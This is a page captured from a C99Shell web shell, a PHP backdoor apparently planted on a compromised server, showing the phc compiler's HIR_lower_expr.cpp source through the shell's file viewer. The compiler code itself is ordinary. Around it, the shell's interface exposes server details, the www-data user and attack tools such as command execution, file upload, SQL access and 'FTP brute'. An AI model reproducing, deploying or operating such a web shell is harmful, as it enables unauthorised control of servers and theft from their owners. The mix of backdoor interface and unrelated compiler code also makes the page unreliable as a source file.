!C99Shell v. 2.0 [PHP 7 Update] [25.02.2019]!

Software: nginx/1.23.4. PHP/5.6.40-65+ubuntu20.04.1+deb.sury.org+1 

uname -a: Linux foro-restaurado-2 5.15.0-1040-oracle #46-Ubuntu SMP Fri Jul 14 21:47:21 UTC 2023
aarch64
 

uid=33(www-data) gid=33(www-data) groups=33(www-data) 

Safe-mode: OFF (not secure)

/home/scripts/pba/phc-read-only/src/hir_to_mir/   drwxrwxr-x
Free 83.21 GB of 96.73 GB (86.02%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     HIR_lower_expr.cpp (2.05 KB)      -rw-rw-r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
/*
 * phc -- the open source PHP compiler
 * See doc/license/README.license for licensing information
 *
 * Generic superclass for transformations that replace expressions by
 * multiple statements
 */

#include "HIR_lower_expr.h"
#include "process_ir/fresh.h"

using namespace HIR;

void Lower_expr::children_php_script(PHP_script* in)
{
    pieces = new Statement_list;
    Transform::children_php_script(in);
}

/*
 * For each statement that contains an expression, we push back the
 * pieces created for each part of the expression.
 *
 * Note that we assume that control flow has been lowered, so there is
 * only a limited number of statements to consider here.
 */

void Lower_expr::post_assign_var (Assign_var* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_assign_var_var (Assign_var_var* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_assign_array (Assign_array* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_assign_next (Assign_next* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_eval_expr (Eval_expr* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_return(Return* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::post_global(Global* in, Statement_list* out)
{
    push_back_pieces(in, out);
}

void Lower_expr::push_back_pieces(Statement* in, Statement_list* out)
{
    out->push_back_all(pieces);
    out->push_back(in);

    pieces->clear();
}

/*
 * A common pattern is captured by "eval", which takes an argument
 * an expression e, generates a new temporary T, and pushes back the statement
 *  
 *   T = e;
 *
 * the value returned is the expression "T". 
 *
 * If the node is marked "phc.hir_lower_expr.no_temp", eval simply returns in.
 */

VARIABLE_NAME* Lower_expr::eval(Expr* in)
{
    VARIABLE_NAME* temp = fresh_var_name("TLE"); 
    eval (in, temp);
    return temp;
}

void Lower_expr::eval(Expr* in, VARIABLE_NAME* temp)
{
    pieces->push_back(
        new Assign_var (
                temp->clone (),
                in->clone ()));
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ Read-Only ]

:: Make Dir ::
 
[ Read-Only ]
:: Make File ::
 
[ Read-Only ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.0 [PHP 7 Update] [25.02.2019] maintained by HackingTool | HackingTool | Generation time: 0.0043 ]--